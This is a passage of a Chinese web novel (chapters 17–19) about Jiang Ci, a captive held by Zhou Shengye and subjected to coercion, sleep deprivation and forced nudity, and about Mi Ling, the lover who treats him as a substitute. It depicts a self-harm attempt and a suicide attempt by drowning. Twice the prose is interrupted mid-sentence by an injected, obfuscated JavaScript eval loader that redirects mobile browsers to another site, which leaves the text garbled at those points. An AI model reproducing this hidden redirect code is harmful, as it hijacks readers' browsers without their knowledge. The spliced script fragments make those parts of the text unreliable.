“你还敢顶嘴!我锦衣玉食有求必应地养着你,结果你还不如这儿的佣人有用处!” 姜瓷愣了愣:“所以是佣人看了他的信,给你递消息了是么?谁……是谁!” 周盛业骂道:“少问东问西!” “既然那个佣人那么有用,你不如让佣人来陪客好了,还用我做什么,我——” “你怎样?” “我死,我死还不行吗!” 周盛业不怒反笑:“五年前你刚来这儿的时候就用过这一招了,什么死啊活的,你真以为我能被你一句话唬住?我告诉你,等再过十年二十年,你老了,没人看得上你了,呵呵,到时候你想死谁都不会拦你,但是你记住,即便你死了成了鬼,我也找些道士和尚的来做法,把你永远困在这里,叫你永远逃不出去!” 姜瓷咳嗽着,整个人又软塌塌倒下去了。周盛业向几个警员指了指,那些人便拥到姜瓷身前去,几只手覆上去拽下了他的衣服。 糜岭在外头只觉得天旋地转,伤腿颤颤立在草坪上,一阵阵麻痛,趔趄退几步远离了窗户,哑声叫道:“姜瓷!姜瓷!” 司机便也跟着叫:“来人,快来人!” 马上有几个佣人跑出门来,见着糜岭浑身湿透,脸色冷白,眼睛血红,神色狰狞,一副要吃人的架势,都立住了不敢上前。糜岭就自己跌跌撞撞走进屋里,继续喊:“姜瓷!小宝……小宝!” 没听见应,但是却见周盛业拽着姜瓷从客厅里走出来了,那几个警员并没有跟着。周盛业嘴里还咬着一截雪茄,悠悠然吐着烟,而姜瓷垂着头,脑袋仿佛折断了挂在颈上,双腿也立不住似的直打颤,身上潦草披了件厚大氅,被周盛业这样抓着一只手臂,连肩膀都露在外面,腰带也系得潦草。 任谁都看出来他里面没穿衣服,周盛业也不掩饰,笑眯眯地说:“这一位想三少爷想得紧呢,听说你来了,就这么出来了,瞧瞧他这幅样子!不过三少为何这样狼狈,白日就来了,还来得悄无声息的,山下没有生意要忙?” 糜岭竭力稳住心神,说:“今日是没什么事要做,过来的时候车子坏在半山腰,只能走过来了。” “哦……那么是刚刚才到?” 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傍晚,姜瓷醒了,但只睁了睁眼,连一口水都没能喝就又昏睡过去。白医生说只要他醒了就不会有事,约定明天下午再来,就与周盛业一同下了山。 司机搭他们的顺风车也走了,糜岭叫他去公馆和店里知会一声,说这几日都要住在山上,不管什么事都先放一边,不要来打扰。 晚上他躺在姜瓷身边,不敢合眼,害怕睡过去,姜瓷就要出事,始终把手覆在他心口,隔一阵儿就要去探他的鼻息。 就这么过了两天,姜瓷醒过几回,可总是一副神志混沌的模样,也总是马上就又睡着。 糜岭心里着急,火气也大,又想到原来是这儿的佣人看了那封信,所以对佣人们都没什么好脸色,只对王妈态度和缓些。 这一日下午送走了白医生,王妈煮了碗银耳汤送来,说:“三少爷好歹吃点东西……不会有事,您尽管放心。” 一句话激得糜岭又来了火,他冷声说:“话说得轻巧,这都几天了。” 王妈四下瞧一眼,见没有其他人在,压低了声音说:“三少爷,我就与您说了吧,这种事……也不是一回两回了。” “什么!” “您小声!”王妈凑近了些,“我只是一个老婆子,半截身子入土了,想护着楼上那一位也是有心无力,但我瞧您比其他人多几分心——” 糜岭十分不耐地道:“行了,到底怎么了?” “是这样……老爷一不高兴,或者老爷叫那位做事,事没能成,就会罚他,您知道这儿……这儿时常有客人过来,所以那位身上不能有伤,可是自有其他折磨人的办法,有时候打骂反倒还轻松些。” 糜岭想到方才窥视时周盛业抬脚要踹姜瓷,临了却又没动手……要是真踹下去,不知道姜瓷会伤成什么样,这般竟还能说“轻松”! 他沉声道:“你继续说。” “有时候老爷就让人看着他,不让他睡觉,见他闭眼睛就拿水泼醒他,有时候罚他站着,不允许坐,站个两三天,腿脚都肿得下不了地,有时候就……就脱光了衣服,让那些警员和佣人……” “让他们怎样?!”糜岭厉声一喝。 “您别激动!老爷不让那些人碰他,只是叫他脱光了站在那些人中间,给他们盯着看。您也知道,他身体特殊,往往给那样一看就受不了,就会气短犯病……” 糜岭听得怒火中烧,满手心都是冷汗。王妈见他额前青筋都暴起来,不敢再说下去,这就要走。但糜岭叫住她又问:“那么这一次是怎么回事?” “您那天走了之后,老爷就没让他睡过觉,现在能睡自然要睡上好几天的……上一回他生辰那时候,老爷叫他探听消息,结果他什么都没问出来,也罚他不许睡觉,那一次睡的时间比这次还长——” “可以了,别说了。” 糜岭再听不下去,打断她,起身就走,上楼进到屋里,却见姜瓷已经醒了,正撑着上半身颤颤伸手去抓床头的水杯。 “小宝,”他喊一声,快步走到床边,紧紧握住了姜瓷的手,“小宝,有没有哪里不舒服?先别睡,你和舅舅说说话,吃点东西,好不好?” 姜瓷怔怔地盯着他看了一会儿,面无表情,把手从他那儿抽回来,轻声说:“你还来干什么?” 17. 17 两下分 “这是什么话,我当然要来,来看你,上一回我们不是约好了?”糜岭搂住姜瓷,贴着他脸颊试他的体温,“烧也退了,怎么还糊里糊涂的样子,没睡醒?还是有哪儿不舒服?” 姜瓷垂着眼不应声,糜岭就没有再问,把外套罩在他身上,拿了水杯递到他嘴边,他很乖顺地凑过来,小猫似的拿舌头舔了舔水,皱着脸说:“烫。” 糜岭捧着他脸想亲,但他立刻撇过头去,缩着肩膀把脸藏进了外套领子下了。 “怎么了小宝?”糜岭柔声问。 他还是不说话,盯着斜靠在床沿的糜岭的手杖发呆,那手杖的下半部分不知为何溅了许多泥点子,已经干涸凝固了,邋里邋遢的。以前不要说泥点子了,就是手杖在前院草坪上蹭到些露水,都必须马上擦干净。 “宝宝?”糜岭捧过他的脸与他对视,“在想什么?还生舅舅的气?这样好不好,等你病好了,你想去舞会,想去山下玩,舅舅都带你去。” 姜瓷静静看了他一会儿,轻声说:“那么这次我要陪你睡几夜?两夜,三夜?” 糜岭偏了偏视线,再看向他,柔柔地给他擦着额头的汗:“不是你想的那样宝宝,上一回是舅舅不好,我解释给你听。”他还想来亲他的脸,但姜瓷再次躲开了,恹恹地闭上了眼,说:“那好吧,你讲。” 糜岭哪能说他其实根本没有跟周盛业提过这回事呢,于是就扯谎道:“上一次我去找周盛业,他病在床上,身体不舒服脾气也就躁,我说带你下山玩一个晚上,他想都没想就拒绝了。这次舅舅另外找个时机,请他吃顿饭,给他送点礼,和他好好说说,哄得他心情好了,他肯定答应让你下山。” 而姜瓷一听也知道他其实是在说谎。糜岭既然认为他会与周盛业合谋,又怎么会去找周盛业说下山一事,毕竟在他眼里,那场圣诞夜舞会就意味着危险,而自己一切的言行举止都充满了算计,是信不得的。 这大半年来,也就只有他傻愣愣把糜岭的那些谎话当真。听了那么多谎言,现下又多几句,其实也没什么所谓。 真正让他难过的是,到如今,他还对糜岭抱有期待,他发觉在自己内心深处,他迫切地希望糜岭已经醒悟到姜瓷不可能与周盛业同流合污,希望糜岭是明白了这一点才再次出现,希望他是来真心实意地坦白与道歉,这样的话他至少还可以忍受坐在这儿与他说话。 可是糜岭还是在隐瞒,说些不着边际的胡话,从始至终,直到这一刻为止,还在践踏侮辱他的真心,把他曾对他流露出的一切爱意都当做泥一样轻贱。 他轻轻嗤笑一声,脱下外套又躺回床上,说:“我知道了,你现在走吧,我想休息。” 糜岭哪会走,跟着俯下身子,搂着他,说:“小宝,别生气了宝宝,这次舅舅一定说到做到,好吗?你都睡了好几天了,前几次醒过来只喝了点儿米汤,今天就起来正经吃点东西,不然胃要饿坏了。” 他摸到姜瓷肚子,轻轻揉了揉:“水还没喝,不渴了?不然让王妈煮鸡汤,还是炖点排骨汤,你想喝什么?” 姜瓷只是闭着眼一言不发。糜岭看到他睫毛一颤一颤,还是只以为他在闹脾气,亲了亲他额头,哄说:“小宝,你看看我,看我一眼,我和你说话。” 姜瓷推开他,把脸埋进枕头里。他又自顾自地说:“前几天我过来的时候,车子坏在半山腰,没办法,只能走上来见你,到今天腿还在疼,你又病成这样,舅舅担心得睡不着吃不下,小宝,你心疼心疼舅舅,别闹脾气了,等你好了你想怎么样都行,全听你的。” 姜瓷想到手杖上那些泥点儿,顿了片刻,终于抬头看过来,与他对视。他一双眼睛,热红的两团,长明灯般焚着不肯熄灭的火,烈烈地摇曳着。可是姜瓷看了只觉得冷,发起抖来,牙齿磕碰在一起咯咯地响,涨红了眼带着哭腔说:“够了吧,你不累,我都演累了,我现在看到你这副样子就想吐。” 糜岭愣了一下,蹙起眉,抬手来摸他蓬乱的头发,把它们捋到他耳后:“好了小宝,不闹了,好吗?舅舅跟你道歉,对不起,让我们宝宝伤心了。” 姜瓷被他这装腔作势的嘴脸气得心口一阵阵绞痛,再也维持不住面上的平静,一把打开他的手,尖声叫道:“别装了,别装了!我全都听见了!你和张先生在园子里说的话,还有更早之前你和陈青柏在前院里说的话,我一字不落全都听见,都知道!你别装了!真恶心!” 糜岭听得心头一震,马上来给他擦眼泪,依然用那种柔软的语气说:“小宝,别动气,你还病着,你听我说——” 姜瓷一阵悚然,立刻觉得他又要开始说好听话了,那些甜言蜜语都带着细小的刺,扎进心里就无影无踪,冷不丁蛰得他痛一下,想拔都拔不出来。 他猛地从床上跃起来,抬手便往糜岭脸上挥,“啪”地甩了一记响亮的耳光:“你别说,别说话!我来说!我问你,你明明就把我当成一个替代,你会不顾腿伤爬上山,又不是为了来见‘姜瓷’,你只是想见这张脸,你把我当成另外一个人来满足你的幻想,所以你腿疼关我什么事情?我问你这到底关我什么事?!心疼你……谁心疼我啊?你也别说什么关心我,你从来都只把我当成一个娼妓,谁会关心一个娼妓的死活呢!” “我什么时候把你当……”糜岭冷下脸来,抓住他手腕一扯,将他整个人抱进怀里,把他的手又往脸上贴,说:“你打,打个痛快!闹完了,解气了,我再问你这是哪来的说法!” 他脸上红肿了一片,像皮肉下都要蹿出火苗来,姜瓷不敢再碰,挣扎着往回缩,颤颤哭起来,泣不成声,口齿不清地说:“你连你自己说的话都不记得了吗?那个下雨天,你跟陈青柏说我就是个妓,玩玩我就算了,不能动真感情。但你对着我的时候一直伪装得那么好,好像你真把我当个人物似的捧着护着,可其实呢,除掉这张脸,我对你来说不就是个消解欲望的妓吗!” 糜岭一时哑然了,他甚至真的忘记了自己曾经说过这样的话,无从辩驳,只能默默抱紧了他。 姜瓷不愿意给他碰,发了狠地推他,毫不留情朝他右腿踢了一记,他没有防备,还是松了手,踉跄退了几步,靠在了墙壁上。 “我那么——那么喜欢你!”姜瓷啜泣着,也跌坐在床上,“可是你不仅把我当替身,还觉得我和周盛业合谋要害你!那么我现在告诉你吧,我真的只是想去山下看一看!从一开始周盛业就叫我从你身上打探消息,可是我从来没有问过你生意或者其他私事,英嬅姐姐跟我说的你小时候的那件事,我也没有告诉过任何人,一个字都没有!还有那封信也不是我看的。如果周盛业知道了什么,应该是这里的佣人说的,我从来没想过要害你!” 糜岭当然已经都知道这些,这大半年,因为从他身上一无所获,姜瓷一定被周盛业不知罚过多少次了,那些不能睡觉的夜晚……他如鲠在喉,蹒跚走到他跟前,忍着腿上刺痛缓缓在他跟前蹲下,紧握着他的手,确认般的重复念道:“你喜欢我,小宝……你喜欢我?” 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他觉得仿佛自己与那一个糜岭是约好了要远走高飞的,可是两人被周盛业抓住了,五年时间里一个在金园,一个被关在监狱,然后前几日的圣诞夜,那一个糜岭逃出来见他最后一面,他们在花园的亭子下吻别,黑沉沉的夜,风冷飕飕的,树叶子沙沙响,可是一切都那么美好那么沉静。他对他说,我再来看你,可他知道他不会来了,不是因为猜忌要断绝来往,是……是被周盛业捉住,那些警卫们向他举起枪……他再不能够上山来了。 但是眼前这一个糜岭不让他拥有这样的幻想,他再次来了金园,说些自私的话,做着混账的事情,像个土匪,烧杀抢掠,打砸他精心装饰的回忆,幻灭他的梦。 “你能不能……”姜瓷轻轻开口,“你能不能走,我求求你,你走吧,别再来了……” 糜岭抬手给他擦眼泪,摸了摸他苍白的脸:“我哪都不会去。” 听见他这句翻来覆去说过的车轱辘话,这一次姜瓷静静的,没有嚎哭,没有歇斯底里,他只是微微侧过头躲开糜岭的手,余光瞥见几步远外那只炭盆,雪白的灰已要溢出来了,炭也烧成了红色,发着细细的亮光。他像被那光刺到似的眯了眯眼睛,猛然站起身,推开糜岭便朝那火盆扑去。 糜岭的腿本就隐隐作痛,又一直蹲到现在,更不灵活了,被他这么一推竟跌在地上爬不起来,眼睁睁看着姜瓷的手要伸进火盆里去抓炭火,惊得满背冷汗,厉声喝道:“姜瓷!” 姜瓷从没听过他这样骇人的声音,一时吓了一跳,顿住了脚步。趁这个空档,糜岭立刻起身扑过去,一把抱他进怀里,抬脚就把那火盆踢翻了。 “你干什么……你要干什么!疯了么!”他紧握着姜瓷的手,正反细细看了一番,没见到烫伤,还是一阵阵后怕,勒得他手腕一圈红痕还不敢松手。 姜瓷闭上眼,泪簌簌地流,自言自语地喃喃说:“以前王妈拿火钳给我烫过头发,火钳也可以……如果我脸上留了疤,你总不会再把我当成你真正喜欢的那个人了,周盛业或许也会放过我……” “小宝,”糜岭抵着他额头,把他两只手都捂在心口,“别这样宝宝……从前一切都是舅舅的错,往后舅舅改,一定改好,你别做傻事。” 姜瓷不住地摇头,一张脸痛苦地扭曲起来,张着嘴巴风箱似的呼呼喘了几口气,“哇”一声吐出一口血来,昏昏沉沉的,意识都模糊了,但嘴唇还是张合着,翻来覆去就是一句“你走”。 18. 18 更怜江月好 睡梦中,姜瓷总听见一阵阵尖细的婴儿哭叫,那声音仿佛针似的直直地往他眼皮上扎,翻来覆去地捱了一会儿,不得不睁了眼,还朦胧着,模糊看见一团黑影覆在手背上。 他拿手去拂,一拂,那黑影忽然飞起来弹到地上,随即被一双灰扑扑、边缘已经脱线的绣鞋蹋住了。他抬眼去瞧,姜悦正笑眯眯地望着他。 “吓……咳咳……吓着了吧。”她一边咳一边说。 姜瓷懵懵懂懂地点头应下,眨了眨眼睛,总觉得脊背还抵在金园卧房里那张黄花梨雕花大床上,可是回身一看,他只是倚着两个硕大的皮箱坐在地上,一件陈旧的黑色织锦缎薄衫搭在身前,姜悦的手臂垂在那两个皮箱上,一定是方才给他枕着了,皮肤上有他脸颊压出的睡痕。 再打量四下,不是什么金园的卧房,这儿分明是一间船舱,最下等的那一种,没有床没有椅子,什么都没有,只顶上悬着一盏油灯,光线惨淡,人们都抱团坐在一起,空气里闷着汗味和尿骚气。 他一阵头晕目眩,对上姜悦,迟疑着叫:“妈……妈?” 姜悦说:“怎么了,睡了……咳咳……睡了一觉,连妈都不认识了?” 他瞪大了通红的眼睛一个劲儿盯着她猛瞧,可是周遭太暗了,也或许他眼里蓄满了泪,视线里模模糊糊只是她瓜子似的瘦削的脸型。他一时分不清现在正身处梦境,还是金园的那五年只是他枕在母亲手臂上睡着时做的一场噩梦。 “做什么一直看着我,热糊涂了?”姜悦来给他擦汗,又“哎哟”一声,看向脚上那只绣鞋,“这小玩意儿还没死呢!顶我脚心!” 姜瓷跟着往她脚那儿一瞥,定了定神,问:“什么东西啊妈?” 姜悦拿鞋底来回碾着地板,道:“是只蟑螂!真大!少说……咳咳,也有三寸长。刚才我听那边几个人讲,这艘船专门跑香港泰国这样的热带地方,有时候难免带些虫子到船上,他们那边的蟑螂就是这么大!” 姜瓷打了个激灵,起了一身鸡皮疙瘩,连忙把手背往衣服上蹭,眼睛不自觉就往姜悦说的那几人那儿瞧。 他们依偎着坐在一起,大约是一大家子,一个看着比姜瓷稍年长的妇女抱着个尚在襁褓中的孩子,就是这孩子一直在哭,吵得船舱里大半的人都醒了。那女人不得不解开衣襟来给孩子喂奶。 他收回视线往姜悦身旁靠了靠,问:“妈,那虫子死了没有?” 姜悦就移开了脚,谁知那蟑螂颤颤巍巍动弹几下,扇着翅膀又弹起来飞走了,吓得姜瓷叫了一声。 姜悦笑道:“你小时候抓比这还大的虫,塞到枕头底下吓我,现在倒是怕了。” 姜瓷听了就弓起背,把下巴搁在膝盖上,借着衣服遮掩,扯了扯缠在胸口的几圈棉布,闷声说:“我现在又跟小时候不一样。”这次他与母亲从上海坐船到香港,为了各处都方便一些,扮了男装,胸上紧紧裹着布,勒得整日喘不上气不说,还疼得厉害,没有钱买上等船舱的票,在这儿,众目睽睽之下更不能松懈下来。 “小瓷,”姜悦见他神色悒郁,劝慰道:“没关系……咳咳……不要胡思乱想。” “可是我害怕……妈,你说我们到了香港见到了爸,他知道我的情况之后不愿意要我,我们怎么办呢?还回上海吗?” “你总归是他孩子,他总归是你父亲,哪能不管你?听说他在香港警局里做事呢,一定有些人脉,或许能找一个医生治好你。” “治好?” “你可以选择,女人或者男人。”姜悦爱怜地摸摸他头发,再想说什么,可一张口就咳得停不下来。 姜瓷连忙去皮箱里掏药丸,倒出来喂姜悦吃下,姜悦力竭地倒在皮箱上闭上了眼。姜瓷把那件薄衫叠起来当扇子,给姜悦扇着风,不一会儿也昏昏欲睡,朦胧间又听见一阵婴孩的哭闹,有些不耐地再一睁眼,看见洒落在床前的一地月色,又清又亮的光把周遭的一切照得那么清楚,罩着床挡风的湖白帐幔,从床顶悬下来的束帐幔的金钩,他的拖鞋,糜岭的鞋,那只邋遢的手杖,搭在床沿的西装,糜岭横在他腰间的手臂,那规律地拂向他后颈的温热的呼吸,把他整个脊背都拢住的炽热的胸膛…… 他马上闭上眼,把脸埋进被子里,可是不去看不去想,那些东西那个人也并不会消失,相反愈发鲜明了。他极不自在,去推糜岭的手臂,想睡远一些,但糜岭越抱越紧,还把另一只手臂从他颈下伸过来,手掌扣在了他前胸。 “醒了?”糜岭吻他后颈和耳垂,“宝宝,要不要喝水?” 他不说话,扭着身子想把他的手抖下去,但糜岭按得更用力,只是不肯放手,略有点儿请求的说:“病成这样就不要折腾了。” 他不买账,心里恨,直恨得咬牙切齿,愤愤地说:“我叫你走,你是听不懂我说的话吗?” “那么我也说了我不会走,小宝也听不懂舅舅说的话?” 他被噎得一口气堵在胸前,心头一阵绞痛,骂道:“你——泼皮!无赖!十三点!” “十三点是什么意思?上海话?” 瞧瞧这个荒唐的人!姜瓷气得浑身发抖,一时骂也没力气骂了,眼眶泛酸落下泪来。 糜岭见他气喘得厉害,起身下床倒了杯水,递到他嘴边,他哭着道:“我不想喝!” “不想喝也得喝,睡了这么久没正经喝过一口水,再把药吃了,你还没退烧。” 他不为所动,紧抿着唇。糜岭也不与他多费口舌,把药片含在嘴里,俯身吻他。他实在没什么力气挣扎,只能就这么被喂了药和半杯水。可糜岭还缠着他不退开。 他颤抖起来,哭得愈发大声了,哽咽着说:“不……我不要……” “好好,别哭了,”糜岭意犹未尽又啄吻几下他唇角,“舅舅什么都不做,你还病着。睡吧,再睡一会儿。” 嘴上这样讲,但重新躺回姜瓷身边,他把手掌紧紧压在他胸口。姜瓷只觉得是两只捕兽夹夹住了他的胸,痛得一直抽抽噎噎地哭。浑浑噩噩地,他感觉自己又回到了那艘船上,摇晃的油灯光线,闷热的空气,汗水,死死缠在胸前的布条,怎么扯都扯不松,十个手指又抓又挠,把指甲往布里刺,仿佛要把胸也刺穿了才能泄心头之恨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831037|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳边隐约又响起了母亲的声音:“没事的,等我们到了香港……” 他哭叫起来:“妈,不要!回去,回去……回去!” 姜悦的声音忽而变得粗沉起来,像糜岭在说话:“好了好了,小宝,别怕,我在这儿……” “不要,不要……”他哭着摇头,感觉手背上一阵剧痛,睁眼一瞧,那大蟑螂又回来了,正撕咬着他的皮肉,在吃他呢!他惊恐地甩着手,两条胳膊面条似的发软抬不起来,又喊:“妈!救我!救我!”一只破旧的绣鞋蹋出来踩住了飞到地上的蟑螂,可那虫子扇着翅膀越变越大,竟把绣鞋掀翻了。他尖叫着去抓那只绣鞋,可鞋子滚进黑暗里再看不见了,再抬眼往虫子那儿一看,一只黑金手杖死死压住了虫子的翅膀。 他看着虫子不能挣脱,心下松了松,可下一瞬那手杖竟飞到跟前来照着他心口重重一打,船舱地板应声裂开,他掉下去,掉进海里了。一开始并不如想象中那样可怕,只是心口被打后钝钝地痛着,耳边咕嘟嘟的水声甚至让他平静许多。他好奇地四下打量,看见因他的出现而惊慌奔逃的鱼群,婀娜的海藻,光怪陆离的珊瑚。然后他越沉越深,周遭暗下来,海慢慢回过了它漆黑的脸,张嘴吃掉了一切声音光线,胸肺间的痛楚一掀一掀地涌动着,迫得他要爆开来似的,可是什么都没有,一切都静静的…… 惊醒过来,他揪着被褥,痛苦地大口地喘着气,身上湿了一片,真从被水里捞出来一样。糜岭坐在床边,正拿毛巾给他擦汗,像是说了什么话,可是他听不清,只瞧见他嘴唇一张一合地动着。他闭上眼又默默地哭了,感觉到糜岭干燥暖热的手掌轻轻捧住了他脸颊。 耳边嗡嗡响了良久,终于静下来,他听见糜岭柔声说:“小宝,小宝?吃饱了?” 他睁开眼,自己不知何时已经坐在房间小桌上,糜岭在喂他喝粥,碗里已少了大半。他舔舔嘴唇,尝到一股米香,恍惚极了,太阳穴发紧,神经一牵一牵地痛,扭头避开糜岭递来一勺粥,抿紧了唇。 糜岭便放下碗,握住他的手按在腿上,郑重地一字一顿地说:“舅舅不该怀疑你,对不起。” 他看到糜岭手背和臂膀上布满了纵横交错的血印子,指甲划出来的伤,只能是他抓的了,可糊涂地想不起来是什么时候的事,只真切地觉得眼睛里仿佛也有血印子般的痛,同时又感觉到右手心下糜岭那条伤腿在一颤一颤地发着抖,仿佛有只小牛犊举着牛角气势汹汹地冲撞着他掌心。他的心跟着那颤动惊跳,迫着他继续坐在这儿听糜岭说话。 “你好好吃饭,好好养身体,往后要舅舅做什么补偿都可以。你想下山,想去舞会,那么你把这碗粥喝了,舅舅马上就带你去。” 他张了张嘴,想说没有周盛业的同意,他不可能下得去,可话到嘴边又觉得何必多言,左不过这也只是糜岭哄他吃饭的好听话罢了,于是问道:“你把我当替代的这件事又怎么说呢?你怎么不跟我道歉?” 糜岭沉默片刻,说:“对不起。” 姜瓷听不出来他的歉意,只觉得他低沉沙哑的嗓音四面八方压过来刀片似的割着他身体。 19. 19 转回生 姜瓷又问:“你还待在这里,做这些,真的是为了我为了姜瓷吗?” 糜岭也还是顿了一顿才说:“全都是为了你。” “所以你是在说你爱我,你不爱那个人了,是吗?” 姜瓷等了好一阵儿,可是糜岭彻底沉默下来了。他嗤笑一声,甩开糜岭的手:“就算你说了你爱我,说了你不爱那个人,我也没办法继续和你待在一起,每一次你看着我或者跟我说话,我都会觉得你把我当成别人,假如你刚才说为了我的时候有那么一点儿真心,那么我请你现在就走,再也不要出现在我面前。” 这一次糜岭很快地斩钉截铁地答:“不可能。”他端起碗又舀一勺粥递过来,说:“吃饭,吃完了我们就下山。” 姜瓷瞪着眼看了他半晌,忽然抬手打翻了粥碗,起身回到了床上。糜岭又跟过来,他手臂被粥烫红了,血印子上还沾着米粒,也不去管,若无其事地给他掖被子,说:“好吧宝宝,你乖乖睡觉。” 但姜瓷仍睁大了通红的眼睛恶狠狠对着他,他卷了他一缕头发在指尖把玩,漫不经心地说:“要舅舅讲故事给你听么?” 姜瓷打开他的手,闭上眼翻过身去。糜岭躺下来抱住他,真的开始讲起故事了。 他紧紧掐着手心,恨他恨得头疼欲裂。他真不明白糜岭为什么不能自圣诞夜那天后就安安静静地消失,在那时候他还可以把“糜岭”粉饰成一个只爱他的完美情人,把“姜瓷与糜岭”粉饰成一对苦情鸳鸯,他还可以把那一点儿甜蜜回忆拧成一根灯芯,点燃它,借着它微弱的光继续往前走。 可是现在糜岭非要剥开幻梦的皮,抽出里头血淋淋的肉给他看,叫他知道现实是他爱的人不仅猜忌他,把他当成替代,甚至如今在他知晓这一切之后,还要赖在这里,逼迫他继续把这个替身当下去。 他真希望他确实是糜岭想的那种人,是个与周盛业合谋要害他的妓。 山里起雾,白医生赶到时已是傍晚了。打了针,姜瓷再没能睡着。但糜岭许是累坏了,躺在床上睡得沉。 他悄悄下了床,从梳妆台抽屉里拿出一个小盒子来,里面装的都是这段日子糜岭送给他的东西,耳坠戒指,红宝石蓝宝石,蝴蝶手表,翡翠项链。他把东西一个个全扔出了窗外。 开门出去的时候,糜岭竟还没有被声响吵醒。他从门缝中觑他一眼,见他紧着皱眉,微微蜷着身体,一只手搭在受伤的右腿上……和他又有什么关系……他头也不回地下楼去了。 王妈在客厅拖地,见着他吓了一跳,赶忙扶他坐下,说:“下来干什么,还不躺着,再折腾下去真不知道要病到什么时候了!” 他懒洋洋地说:“死了才好。” “呸呸呸,什么话!”王妈絮絮叨叨劝起他来了,他心里厌烦,打断她说:“我想喝水。” “好,我这就烧水去。”她这么说着,却不走,四下瞧了瞧,往他身前凑了凑,道:“老爷递了口信来,说……说让问问三少爷今年生意上有多少进项。” 他怔了一怔,忽而觉得有针扎在眼皮上似的,眼泪又默默泼洒下来了。五年前在那个污秽的下等船舱里,他还和母亲畅想周盛业会帮他找医生,可是周盛业却把他关在这里,一个比那船舱更污秽的地方,一个接一个的男人,一场接一场的折辱,数不清的谩骂讥讽。 他死心了,行尸走肉地活着,可偏偏他的爱情来了,但又在短短几个月里幻灭了,并且现在显露出了更丑恶的面目来,比周盛业施加在他身上的一切还要令他感到痛苦与耻辱。他想要结束,断绝,可是没有人听他的意愿,没有人把他当一回事,他被逼迫着又要去接近那面目可憎的爱情了。翻来覆去,一会儿如此,一会儿那般,到底要怎么样呢? 他推开王妈,又摔花瓶又扔茶杯,叫起来:“到底要怎么样,要怎么样!我真的受不了了!”说完就穿过穿堂,直直奔进花园里去了。 王妈当下没留心,只以为他同平时一样闹闹脾气,过后也就罢了,就没去追他,蹲下来收拾满地碎瓷片,刚把地扫净,糜岭就也下来了,头发衣服乱得不成样子,眼里满是血丝,神色焦急,高声问道:“他人呢!怎么回事?也不看着他点,就让他乱跑吗!” 王妈支支吾吾也不敢讲明缘由,只说:“刚刚到花园去了。” 糜岭就追进花园里。晚上了,天却不暗,月亮澄黄一个高高挂着,雾气也散尽了。他心里躁,总觉得要出事情,没有多想就往园林里去。下来得急,手杖都没拿,跌跌撞撞地,卵石径上又滑,好几次险些摔跤。等踏进园林,一眼瞧见姜瓷站在廊桥边,已脱光了衣服,银狐毛大氅被他叠得整整齐齐放在地上,月白的睡袍放在大氅上,两条腰带被风吹得在空中翻飞,兔毛嵌金线的拖鞋压在最上面。 风很猖狂,吹得他头发四处乱飞,黑色的网似的掩住了他的面庞,然而月光不合时宜的明亮,把什么都照得清楚,透过那些发丝的罅隙,糜岭看见他乌溜溜一双眼睛,死水一样的沉静。 他霎时心惊肉跳,眼前黑了一瞬,揪着身侧几根树枝子才勉强站稳,已经来不及跑过去阻止了,只能厉声喊道:“姜瓷!你过来!过来!” 风卷着他声音吹到姜瓷那儿,听在耳里就成了呓语般无意义的呢喃。姜瓷垂下头望向下方的池塘水。 到底要怎么样,往后会怎么样,他不愿意再费心去想了。就算周盛业真的像说过的那样,要找些道士法师来做法,把他的灵魂困在这里,也无所谓了,反正与此时的他无关,没有他的份了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831038|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他跨出步子跳进池塘里,像那个梦,他看见几尾鲤鱼甩着尾巴惊慌地逃开了,干枯的夏荷的根茎盘结在池底,廊桥底柱上长满了绿色青苔,水面上硕大的一个月亮,仿佛占据了整个池塘,池水的脸成了黄彤彤的,张大了嘴,与梦中一模一样的胸肺间的痛苦,挤压着挤压着—— “咳咳咳……” 不是预想中的宁静,一切都爆开来了,他听见自己剧烈的咳嗽,呕水声,喧嚣的风,沙沙的树叶,吵闹的月色,糜岭沉重的呼吸。 “不……你放……咳咳……”他抬起酸软的手臂想推开糜岭,但糜岭拿大氅包住他身体,把他紧紧按住了。 他也浑身湿透,淋淋沥沥流着水,一张沉郁的脸挡住了月亮,俯下身来的时候掩掉了所有光线,像湿淋淋的一个漆黑寒夜拢了过来,把姜瓷密不透风地围住了。两人都瑟瑟发着抖。 姜瓷面如死灰,胸口火烧,喉间一片血腥,再匀不出任何力气了,软绵绵倚在他怀里。 “小宝!”糜岭声音嘶哑,不住地抚他的脸,明明抹尽了水,还觉得他五官模模糊糊,仿佛仍隔着一池水在看他。 姜瓷偏过头去又呕,糜岭一边拍着他的背一边说:“好了好了没事了……你想下山去玩,我们这就走,马上就走,周盛业不从我这儿知道点什么不会放你,你给他打电话,说初十那天有批货会到九龙的南码头,我们现在就回去,你马上给他打电话说,说了我们就下山,你和舅舅住一阵子,舅舅每晚都办舞会,叫许多人来陪你玩,好好玩,好吗?”语无伦次地。 姜瓷稍缓过来一些,看向他,他那血红的一对眼睛,雨夜里燃起的两团火似的,把他心里的恨又烧出来了。噢,是非要亲眼见他寻死了,才终于肯给他想要的是吗?一场舞会,下山的两三个小时,糜岭要他用命来换的。 